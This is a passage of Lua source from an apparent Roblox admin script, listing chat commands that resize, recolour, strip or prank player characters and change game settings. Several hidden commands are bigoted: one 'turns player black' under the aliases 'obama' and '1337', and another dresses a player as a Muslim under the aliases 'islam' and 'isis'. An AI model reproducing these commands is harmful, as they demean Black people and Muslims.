6941 [{"mini", "small", "tiny", "small"}] = {"player", "Makes player's character mini", 1, "Member", false, function(Speaker, Rank, Arguments)
6942 local Players = STRING:Scan(Arguments[1], Speaker)
6943 for _,Player in pairs(Players) do
6944 CORE:Scale(Player, 50)
6945 end
6946 end};
6947
6948 [{"hobbit"}] = {"player", "Makes player's character hobbit sized", 1, "Member", false, function(Speaker, Rank, Arguments)
6949 local Players = STRING:Scan(Arguments[1], Speaker)
6950 for _,Player in pairs(Players) do
6951 CORE:Scale(Player, 70)
6952 end
6953 end, Hidden = true};
6954
6955 [{"mega", "huge", "giant", "large", "big"}] = {"player", "Makes player's character mega", 1, "Member", false, function(Speaker, Rank, Arguments)
6956 local Players = STRING:Scan(Arguments[1], Speaker)
6957 for _,Player in pairs(Players) do
6958 CORE:Scale(Player, 500)
6959 end
6960 end};
6961
6962 [{"gold", "goldify"}] = {"player", "Makes player's character gold", 1, "Member", false, function(Speaker, Rank, Arguments)
6963 local Players = STRING:Scan(Arguments[1], Speaker)
6964 for _,Player in pairs(Players) do
6965 if Player.Character then
6966 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6967 Obj.Reflectance = 0.5
6968 Obj.BrickColor = BrickColor.new("New Yeller")
6969 end)
6970 end
6971 end
6972 end};
6973
6974 [{"shine", "shiny", "shinify", "shineify"}] = {"player", "Makes player's character shiny", 1, "Member", false, function(Speaker, Rank, Arguments)
6975 local Players = STRING:Scan(Arguments[1], Speaker)
6976 for _,Player in pairs(Players) do
6977 if Player.Character then
6978 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6979 Obj.Reflectance = 0.5
6980 end)
6981 end
6982 end
6983 end};
6984
6985 [{"ghost", "ghostify", "spook", "spooky"}] = {"player", "Makes player's character a ghost", 1, "Member", false, function(Speaker, Rank, Arguments)
6986 local Players = STRING:Scan(Arguments[1], Speaker)
6987 for _,Player in pairs(Players) do
6988 if Player.Character then
6989 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6990 Obj.Transparency = 0.5
6991 Obj.Reflectance = 0
6992 Obj.BrickColor = BrickColor.new("Institutional white")
6993 end)
6994 CORE:ScanItems(Player.Character, {"Texture", "Decal"}, function(Obj)
6995 Obj.Transparency = 0.5
6996 end)
6997 end
6998 end
6999 end};
7000
7001 [{"nolimbs", "nolimb"}] = {"player", "Removes player's limbs", 1, "Member", false, function(Speaker, Rank, Arguments)
7002 local Players = STRING:Scan(Arguments[1], Speaker)
7003 for _,Player in pairs(Players) do
7004 if Player.Character then
7005 for _,Obj in pairs(Player.Character:GetChildren()) do
7006 local Valid = false
7007 for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
7008 if Valid == true then Obj:Destroy() end
7009 end
7010 end
7011 end
7012 end};
7013
7014 [{"noarms", "noarm"}] = {"player", "Removes player's arms", 1, "Member", false, function(Speaker, Rank, Arguments)
7015 local Players = STRING:Scan(Arguments[1], Speaker)
7016 for _,Player in pairs(Players) do
7017 if Player.Character then
7018 for _,Obj in pairs(Player.Character:GetChildren()) do
7019 local Valid = false
7020 for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
7021 if Valid == true then Obj:Destroy() end
7022 end
7023 end
7024 end
7025 end};
7026
7027 [{"nolegs", "noleg"}] = {"player", "Removes player's legs", 1, "Member", false, function(Speaker, Rank, Arguments)
7028 local Players = STRING:Scan(Arguments[1], Speaker)
7029 for _,Player in pairs(Players) do
7030 if Player.Character then
7031 for _,Obj in pairs(Player.Character:GetChildren()) do
7032 local Valid = false
7033 for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
7034 if Valid == true then Obj:Destroy() end
7035 end
7036 end
7037 end
7038 end};
7039
7040 [{"noaccessories", "noaccessory", "noacs", "nohats", "nohat"}] = {"player", "Removes player's accessories", 1, "Member", false, function(Speaker, Rank, Arguments)
7041 local Players = STRING:Scan(Arguments[1], Speaker)
7042 for _,Player in pairs(Players) do
7043 if Player.Character then
7044 for _,Obj in pairs(Player.Character:GetChildren()) do
7045 if Obj:IsA("Accoutrement") then
7046 Obj:Destroy()
7047 end
7048 end
7049 end
7050 end
7051 end};
7052
7053 [{"naked", "noclothes"}] = {"player", "Removes player's clothes and hats", 1, "Member", false, function(Speaker, Rank, Arguments)
7054 local Players = STRING:Scan(Arguments[1], Speaker)
7055 for _,Player in pairs(Players) do
7056 Player:ClearCharacterAppearance()
7057 end
7058 end};
7059
7060 [{"playerdatabase", "playerbase", "playerdatab", "playerdb", "plrdatabase", "plrdatab", "plrdb", "pdatabase", "pdatab", "pdb"}] = {"", "Database of all the players in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
7061 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
7062 local TmpPlayers = {}
7063 local Output = {}
7064 for _,Data in pairs(Players) do
7065 table.insert(Output, {"Name: "..Data.Name.." | UserID: "..Data.UserId.." | Rank: "..Data.Rank.." | Last Joined: "..(Data.LastJoin or "Unknown").." | Account Age: "..(Data.AccountAge or "Unknown"), "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Data.Name})
7066 end
7067 GUI:ListGui(Speaker, "Player Database", Output, 120563622)
7068 end};
7069
7070 [{"clearplayerdatabase", "clearpdb", "cpdb"}] = {"", "Clears the player databse", 0, "Owner", false, function(Speaker, Rank, Arguments)
7071 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
7072 GUI:SendHint(Speaker, "Player Database cleared", 5)
7073 end};
7074
7075 [{"hack", "hax"}] = {"player", "Fake hacks player", 1, "Member", true, function(Speaker, Rank, Arguments)
7076 local Players = STRING:Scan(Arguments[1], Speaker)
7077 for _,Player in pairs(Players) do
7078 GUI:FakeHack(Player)
7079 end
7080 end};
7081
7082 [{"clonetools", "clonet"}] = {"player", "Clones player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
7083 local Players = STRING:Scan(Arguments[1], Speaker)
7084 for _,Player in pairs(Players) do
7085 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7086 for _,Object in pairs(Player.Backpack:GetChildren()) do
7087 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7088 local Clone = Object:Clone()
7089 Clone.Parent = Speaker.Backpack
7090 end
7091 end
7092 end
7093 end
7094 end};
7095
7096 [{"taketools", "taket", "tt"}] = {"player", "Clone player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
7097 local Players = STRING:Scan(Arguments[1], Speaker)
7098 for _,Player in pairs(Players) do
7099 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7100 for _,Object in pairs(Player.Backpack:GetChildren()) do
7101 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7102 Object.Parent = Speaker.Backpack
7103 end
7104 end
7105 end
7106 end
7107 end};
7108
7109 [{"givetools", "givet", "gt"}] = {"player", "Clone the speaker's tools and gives the to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7110 local Players = STRING:Scan(Arguments[1], Speaker)
7111 for _,Player in pairs(Players) do
7112 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7113 for _,Object in pairs(Speaker.Backpack:GetChildren()) do
7114 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7115 local Clone = Object:Clone()
7116 Clone.Parent = Player.Backpack
7117 end
7118 end
7119 end
7120 end
7121 end};
7122
7123 [{"notools", "notool", "cleartools", "cleantools", "ctools", "untools"}] = {"player", "Clears player's backpack", 1, "Member", false, function(Speaker, Rank, Arguments)
7124 local Players = STRING:Scan(Arguments[1], Speaker)
7125 for _,Player in pairs(Players) do
7126 if Player:FindFirstChild("Backpack") then
7127 Player.Backpack:ClearAllChildren()
7128 end
7129 if Player.Character ~= nil then
7130 for _,Obj in pairs(Player.Character:GetChildren()) do
7131 if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
7132 Obj:Destroy()
7133 end
7134 end
7135 end
7136 end
7137 end};
7138
7139 [{"vomit", "puke", "throwup", "barf"}] = {"player", "Makes player vomit", 1, "Member", true, function(Speaker, Rank, Arguments)
7140 local Players = STRING:Scan(Arguments[1], Speaker)
7141 for _,Player in pairs(Players) do
7142 if Player.Character then
7143 if Player.Character:FindFirstChild("Head") then
7144 if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
7145 coroutine.wrap(function()
7146 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7147 local OldFace = Player.Character.Head.face.Texture
7148 Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
7149 Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
7150 Player.Character.Head.face.Texture = "rbxassetid://24067663"
7151 local Sound = SOUND:MakeSound(Player.Character.Head, 142539016, 1, 0.9)
7152 Sound:Play()
7153 coroutine.wrap(function() for i = 1,100 do wait()
7154 local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
7155 coroutine.wrap(function() wait(3) Part:Destroy() end)()
7156 end
7157 Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
7158 end end
7159 end)()
7160 end
7161 end
7162 end
7163 end
7164 end};
7165
7166 [{"fart", "stink"}] = {"player", "Makes player fart", 1, "Member", true, function(Speaker, Rank, Arguments)
7167 local Players = STRING:Scan(Arguments[1], Speaker)
7168 for _,Player in pairs(Players) do
7169 if Player.Character then
7170 if Player.Character:FindFirstChild("Torso") and Player.Character.Head:FindFirstChild("face") then
7171 coroutine.wrap(function()
7172 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7173 local OldFace = Player.Character.Head.face.Texture
7174 local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
7175 local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
7176 local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
7177 Player.Character.Head.face.Texture = "rbxassetid://28118994"
7178 local Sound = SOUND:MakeSound(Fart, 130833677, 1, 0.8)
7179 Sound:Play()
7180 wait(1)
7181 Smoke.Enabled = false
7182 wait(1)
7183 Fart:Destroy()
7184 Fart:Destroy()
7185 Player.Character.Head.face.Texture = OldFace
7186 end end
7187 end)()
7188 end
7189 end
7190 end
7191 end};
7192
7193 [{"graffiti", "graf", "gra", "draw"}] = {"player", "Gives player a tool to do graffiti", 1, "Member", true, function(Speaker, Rank, Arguments)
7194 local Players = STRING:Scan(Arguments[1], Speaker)
7195 for _,Player in pairs(Players) do
7196 if Player:FindFirstChild("Backpack") then
7197 CORE:ExecuteResource("Graffiti", Player.Backpack, {["Color"] = GUI:GetColor()})
7198 end
7199 end
7200 end};
7201
7202 [{"cleargraffiti", "cleargraf", "cleargra", "cleardraw", "cleangraffiti", "cleangraf", "cleangra", "cleandraw", "cgraffiti", "cgraf", "cgra", "cdraw"}] = {"", "Clears any graffiti", 0, "Admin", false, function(Speaker, Rank, Arguments)
7203 local Players = STRING:Scan(Arguments[1], Speaker)
7204 for _,Player in pairs(Players) do
7205 if Player.Character and Player.Character:FindFirstChild("MMLGraffiti") then
7206 Player.Character.MMLGraffiti:ClearAllChildren()
7207 end
7208 end
7209 end};
7210
7211 [{"light", "spotlight"}] = {"player", "Makes player and a small radius around whom to light up", 1, "Member", false, function(Speaker, Rank, Arguments)
7212 local Players = STRING:Scan(Arguments[1], Speaker)
7213 for _,Player in pairs(Players) do
7214 if Player.Character and Player.Character:FindFirstChild("Torso") then
7215 local Light = Player.Character.Torso:FindFirstChild("MML Light") if Light then Light:Destroy() end
7216 Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "MML Light" Light.Range = 20 Light.Brightness = 2
7217 end
7218 end
7219 end};
7220
7221 [{"lamp", "pointlight", "headlight", "headlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments)
7222 local Players = STRING:Scan(Arguments[1], Speaker)
7223 for _,Player in pairs(Players) do
7224 if Player.Character and Player.Character:FindFirstChild("Torso") then
7225 local Light = Player.Character.Torso:FindFirstChild("MML Lamp") if Light then Light:Destroy() end
7226 Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "MML Lamp" Light.Range = 30 Light.Brightness = 5
7227 end
7228 end
7229 end};
7230
7231 [{"nolight", "nolamp", "unlight", "unlamp"}] = {"player", "Removes player's light and/or lamp", 1, "Member", false, function(Speaker, Rank, Arguments)
7232 local Players = STRING:Scan(Arguments[1], Speaker)
7233 for _,Player in pairs(Players) do
7234 if Player.Character and Player.Character:FindFirstChild("Torso") then
7235 local Lights = {}
7236 for _,Obj in pairs(Player.Character.Torso:GetChildren()) do
7237 if Obj.Name == "MML Lamp" or Obj.Name == "M".."ML Light" then
7238 table.insert(Lights, Obj)
7239 end
7240 end
7241 for _,Light in pairs(Lights) do
7242 coroutine.wrap(function()
7243 for i = 1,20 do
7244 Light.Brightness = Light.Brightness/5
7245 wait()
7246 end
7247 Light:Destroy()
7248 end)()
7249 end
7250 end
7251 end
7252 end};
7253
7254 [{"drug", "lsd"}] = {"player", "Gives player the effect of being on lsd", 1, "Member", false, function(Speaker, Rank, Arguments)
7255 local Players = STRING:Scan(Arguments[1], Speaker)
7256 for _,Player in pairs(Players) do
7257 if Player.Character and Player:FindFirstChild("PlayerGui") then
7258 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7259 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Drug"
7260 local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
7261 local Stop = false
7262 coroutine.wrap(function()
7263 repeat
7264 Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
7265 wait(0.1)
7266 until not SG or not SG.Parent
7267 end)()
7268 CORE:ExecuteResource("Drug", Player.Character)
7269 end
7270 end
7271 end};
7272
7273 [{"nodrug", "nolsd", "undrug", "unlsd"}] = {"player", "Removes drug effect", 1, "Member", false, function(Speaker, Rank, Arguments)
7274 local Players = STRING:Scan(Arguments[1], Speaker)
7275 for _,Player in pairs(Players) do
7276 if Player:FindFirstChild("PlayerGui") then
7277 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7278 wait() CORE:RestoreCamera(Player)
7279 end
7280 end
7281 end};
7282
7283 [{"searchg", "searchgear"}] = {"string", "Searches the catalog for the gear string", 1, "Member", false, function(Speaker, Rank, Arguments)
7284 local AbuseMode = false
7285 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
7286 MARKET:ShowSearch(Speaker, 5, Arguments[1], function(ID)
7287 if Speaker:FindFirstChild("Backpack") then
7288 CORE:Insert(ID, Speaker.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
7289 end
7290 end)
7291 end, Http = true};
7292
7293 [{"searchaccessory", "searchaccessories", "searchacs", "searcha", "searchhat", "searchhats", "searchh"}] = {"string(type) string(query)", "Searches the catalog for the accessory string(query) with the type of string(type)", 1, "Member", false, function(Speaker, Rank, Arguments)
7294 local Type = "all"
7295 local Query = string.lower(Arguments[1])
7296 local Arguments = STRING:GetSplit(Query, 2, Settings.Bet)
7297 if #Arguments == 2 and Assets.AccessoryTypes[Arguments[1]] then
7298 Type = Arguments[1]
7299 Query = Arguments[2]
7300 end
7301 MARKET:ShowSearch(Speaker, 11, Query, function(ID)
7302 if Speaker.Character then
7303 CORE:Insert(ID, Speaker.Character, true, {"Accoutrement"})
7304 end
7305 end, MARKET:AccessoryToSubcategory(Type))
7306 end, Http = true};
7307
7308 [{"searchp", "searchpack", "searchpackage"}] = {"string", "Searches the catalog for the package string", 1, "Member", false, function(Speaker, Rank, Arguments)
7309 MARKET:ShowSearch(Speaker, 11, Arguments[1], function(ID)
7310 if Speaker.Character then
7311 CORE:GivePackage(Speaker, ID)
7312 end
7313 end, 11)
7314 end, Http = false};
7315
7316 [{"nopackage", "nopack", "unpackage", "unpack"}] = {"player", "Removes all packages from player", 1, "Member", false, function(Speaker, Rank, Arguments)
7317 local Players = STRING:Scan(Arguments[1], Speaker)
7318 for _,Player in pairs(Players) do
7319 CORE:GivePackage(Player)
7320 end
7321 end};
7322
7323 [{"package", "pack", "morph"}] = {"player num(ID)", "Gives player the package with num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7324 local Players = STRING:Scan(Arguments[1], Speaker)
7325 for _,Player in pairs(Players) do
7326 CORE:GivePackage(Player, Arguments[2])
7327 end
7328 end, Http = false};
7329
7330 [{"change", "changestat", "changeleaderstat", "changestats", "changeleaderstats"}] = {"player string(key) value(string/num)", "Changes player's leaderstats for key(Coins, money, ext) to value", 3, "Member", false, function(Speaker, Rank, Arguments)
7331 local Players = STRING:Scan(Arguments[1], Speaker)
7332 for _,Player in pairs(Players) do
7333 local Stats = Player:FindFirstChild("leaderstats")
7334 if Stats ~= nil then
7335 for _,Stat in pairs(Stats:GetChildren()) do
7336 if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
7337 ypcall(function() Stat.Value = Arguments[3] end)
7338 end
7339 end
7340 end
7341 end
7342 end};
7343
7344 [{"shirt"}] = {"player num(ID)", "Changes player's shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7345 local ID = tonumber(Arguments[2])
7346 local Players = STRING:Scan(Arguments[1], Speaker)
7347 for _,Player in pairs(Players) do
7348 for _,Player in pairs(Players) do
7349 if Player.Character ~= nil then
7350 local Obj = Player.Character:FindFirstChild("Shirt")
7351 if Obj then
7352 Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7353 else
7354 Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7355 end
7356 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7357 end
7358 end
7359 end
7360 end};
7361
7362 [{"pants"}] = {"player num(ID)", "Changes player's pants to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7363 local ID = tonumber(Arguments[2])
7364 local Players = STRING:Scan(Arguments[1], Speaker)
7365 for _,Player in pairs(Players) do
7366 for _,Player in pairs(Players) do
7367 if Player.Character ~= nil then
7368 local Obj = Player.Character:FindFirstChild("Pants")
7369 if Obj then
7370 Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7371 else
7372 Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7373 end
7374 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7375 end
7376 end
7377 end
7378 end};
7379
7380 [{"tshirt"}] = {"player num(ID)", "Changes player's T-shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7381 local ID = tonumber(Arguments[2])
7382 local Players = STRING:Scan(Arguments[1], Speaker)
7383 for _,Player in pairs(Players) do
7384 for _,Player in pairs(Players) do
7385 if Player.Character ~= nil then
7386 if Player.Character:FindFirstChild("Torso") then
7387 local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
7388 local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
7389 if Obj1 then
7390 Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7391 else
7392 Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7393 end
7394 if Obj2 then
7395 Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID)
7396 else
7397 Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) Obj2.Face = "Front"
7398 end
7399 coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
7400 coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
7401 end
7402 end
7403 end
7404 end
7405 end};
7406
7407 [{"oder", "od", "onlinedater", "onlinedate"}] = {"player", "Changes player's character to be an online dater", 1, "Member", false, function(Speaker, Rank, Arguments)
7408 local Players = STRING:Scan(Arguments[1], Speaker)
7409 for _,Player in pairs(Players) do
7410 CORE:ChangeCharacter(Player, OderIDs[math.random(1,#OderIDs)], false, Speaker)
7411 end
7412 end};
7413
7414 [{"cookie"}] = {"player", "Gives player a cookie if the speaker is in the admin group", 1, "Member", false, function(Speaker, Rank, Arguments)
7415 if CORE:InAdminGroup(Speaker) then
7416 local Players = STRING:Scan(Arguments[1], Speaker)
7417 for _,Player in pairs(Players) do
7418 if Player:FindFirstChild("Backpack") then
7419 local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
7420 local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
7421 local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "rbxassetid://20939848" Mesh.TextureId = "rbxassetid://21456464"
7422 local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "rbxassetid://29517689"
7423 CORE:ExecuteResource("CookieTool", Tool)
7424 end
7425 end
7426 end
7427 end};
7428
7429 [{"decal", "image"}] = {"num(ID)", "Allows player to insert num(ID) as a decal", 1, "Member", false, function(Speaker, Rank, Arguments)
7430 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7431 CORE:ExecuteResource("InsertDecal", Speaker.Backpack, {["DecalID"] = MARKET:GetImageFormat(tonumber(Arguments[1]))})
7432 end
7433 end};
7434
7435 [{"insert", "model", "ins"}] = {"num(ID)", "Allows player to insert num(ID) as a model(Only works if the model is owned by the owner of the game or ROBLOX)", 1, "Member", false, function(Speaker, Rank, Arguments)
7436 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7437 local Model = CORE:Insert(tonumber(Arguments[1]), Server.RS)
7438 Model:MakeJoints()
7439 for i = 1,math.random(10,20) do
7440 Model.Name = Model.Name..string.char(math.random(97,122))
7441 end
7442 if Model:GetChildren()[1] then
7443 table.insert(Objects, Model)
7444 CORE:ExecuteResource("InsertModel", Speaker.Backpack, {["Model"] = Model})
7445 end
7446 end
7447 end};
7448
7449 [{"animate", "animation", "anim"}] = {"player num(ID)", "Animates player to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7450 local ID = tonumber(Arguments[2])
7451 local Players = STRING:Scan(Arguments[1], Speaker)
7452 for _,Player in pairs(Players) do
7453 if Player.Character then
7454 CORE:ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = Arguments[2]})
7455 end
7456 end
7457 end};
7458
7459 [{"noanimate", "moanimation", "noanim", "unanimate", "unanimation", "unanim"}] = {"player", "Stops animations playing from the animate command", 1, "Member", false, function(Speaker, Rank, Arguments)
7460 local Players = STRING:Scan(Arguments[1], Speaker)
7461 for _,Player in pairs(Players) do
7462 if Player.Character then
7463 local StopAnim = Player.Character:FindFirstChild("Stop MML Animate")
7464 if StopAnim then StopAnim:Destroy() end
7465 end
7466 end
7467 end};
7468
7469 [{"ambient"}] = {"Color3(1) Color3(2) Color3(3)", "Changes the ambient lighting to Red - Color3(1) Green - Color3(2) Blue - Color3(3) (Out of 255)", 3, "Member", false, function(Speaker, Rank, Arguments)
7470 if tonumber(Arguments[1]) and tonumber(Arguments[2]) and tonumber(Arguments[3]) then
7471 Server.Lighting.Ambient = Color3.new(tonumber(Arguments[1])/255,tonumber(Arguments[2])/255,tonumber(Arguments[3])/255)
7472 end
7473 end};
7474
7475 [{"brightness", "bright"}] = {"num", "Changes the lighting brightness to num", 1, "Member", false, function(Speaker, Rank, Arguments)
7476 if tonumber(Arguments[1]) then
7477 Server.Lighting.Brightness = tonumber(Arguments[1])
7478 end
7479 end};
7480
7481 [{"pl", "playerlist"}] = {"player", "Enables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7482 local Players = STRING:Scan(Arguments[1], Speaker)
7483 for _,Player in pairs(Players) do
7484 GUI:CoreGui(Player, "PlayerList", true)
7485 end
7486 end};
7487
7488 [{"npl", "nopl", "unpl", "noplayerlist", "unplayerlist"}] = {"player", "Disables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7489 local Players = STRING:Scan(Arguments[1], Speaker)
7490 for _,Player in pairs(Players) do
7491 local Players = STRING:Scan(Arguments[1], Speaker)
7492 GUI:CoreGui(Player, "PlayerList", false)
7493 end
7494 end};
7495
7496 [{"bc", "tbc", "obc"}] = {"player", "What do you know, it's a real command!", 1, "Member", false, function(Speaker, Rank, Arguments)
7497 GUI:SendMessage(Speaker, "Wow, you thought this was a command", "Did you look at the comments by chance?", 5253865)
7498 end, Hidden = true};
7499
7500 [{"obama", "black", "1337"}] = {"player", "Turns player black", 1, "Member", false, function(Speaker, Rank, Arguments)
7501 local Players = STRING:Scan(Arguments[1], Speaker)
7502 for _,Player in pairs(Players) do
7503 CORE:ChangeCharacter(Player, 1337, false, Speaker)
7504 end
7505 end, Hidden = true};
7506
7507 [{"muslim", "islam", "isis"}] = {"player", "Turns player into a muslim", 1, "Member", false, function(Speaker, Rank, Arguments)
7508 local Players = STRING:Scan(Arguments[1], Speaker)
7509 for _,Player in pairs(Players) do
7510 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7511 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
7512 Player:ClearCharacterAppearance()
7513 CORE:Insert(12436480, Player.Character, true)
7514 Player.Character.Head.face.Texture = "rbxassetid://110287880"
7515 Instance.new("Shirt", Player.Character).ShirtTemplate = "rbxassetid://205596436"
7516 Instance.new("Pants", Player.Character).PantsTemplate = "rbxassetid://205596483"
7517 end
7518 end
7519 end, Hidden = true};
7520
7521 [{"noob", "noobify", "boon"}] = {"player", "Turns player into a noob", 1, "Member", false, function(Speaker, Rank, Arguments)
7522 local Players = STRING:Scan(Arguments[1], Speaker)
7523 for _,Player in pairs(Players) do
7524 CORE:ChangeCharacter(Player, 0, false, Speaker)
7525 end
7526 end};
7527
7528 [{"nofilter", "unfilter", "defilter"}] = {"", "Removes current filter", 0, "Owner", false, function(Speaker, Rank, Arguments)
7529 ShouldFilter = false
7530 end, Hidden = true};
7531
7532 [{"bet"}] = {"string", "Changes the bet to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7533 local Bet = Arguments[1]
7534 if Bet == "/" or Bet == "-" or Bet == "(" or Bet == ")" then
7535 GUI:SendMessage(Speaker, "Cannot change bet", "RED Illegal characters used to become a bet", "Error")
7536 elseif #Bet > 5 then
7537 GUI:SendMessage(Speaker, "Bet too long", "RED The bet is too long and is over 5 characters (You have "..#Bet.." characters)", "Error")
7538 else
7539 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the bet", "You are about to change the bet from '"..Settings.Bet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me, Continue?", "Question", {"Yes", "No"})
7540 if Answer == "Yes" then
7541 local OldBet = Settings.Bet
7542 CORE:ChangeBet(Bet)
7543 GUI:MessageAdmins("Bet Change", "The bet has changed from '"..OldBet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..OldBet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me")
7544 end
7545 end
7546 end};
7547
7548 [{"prefix"}] = {"string", "Changes the prefix to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7549 local Prefix = Arguments[1]
7550 if #Prefix > 5 then
7551 GUI:SendMessage(Speaker, "Prefix too long", "RED The Prefix is too long and is over 5 characters (You have "..#Prefix.." characters)", "Error")
7552 else
7553 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the Prefix", "You are about to change the Prefix from '"..Settings.Prefix.."' to '"..Prefix.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me, Continue?", "Question", {"Yes", "No"})
7554 if Answer == "Yes" then
7555 local OldPrefix = Settings.Prefix
7556 Settings.Prefix = Prefix
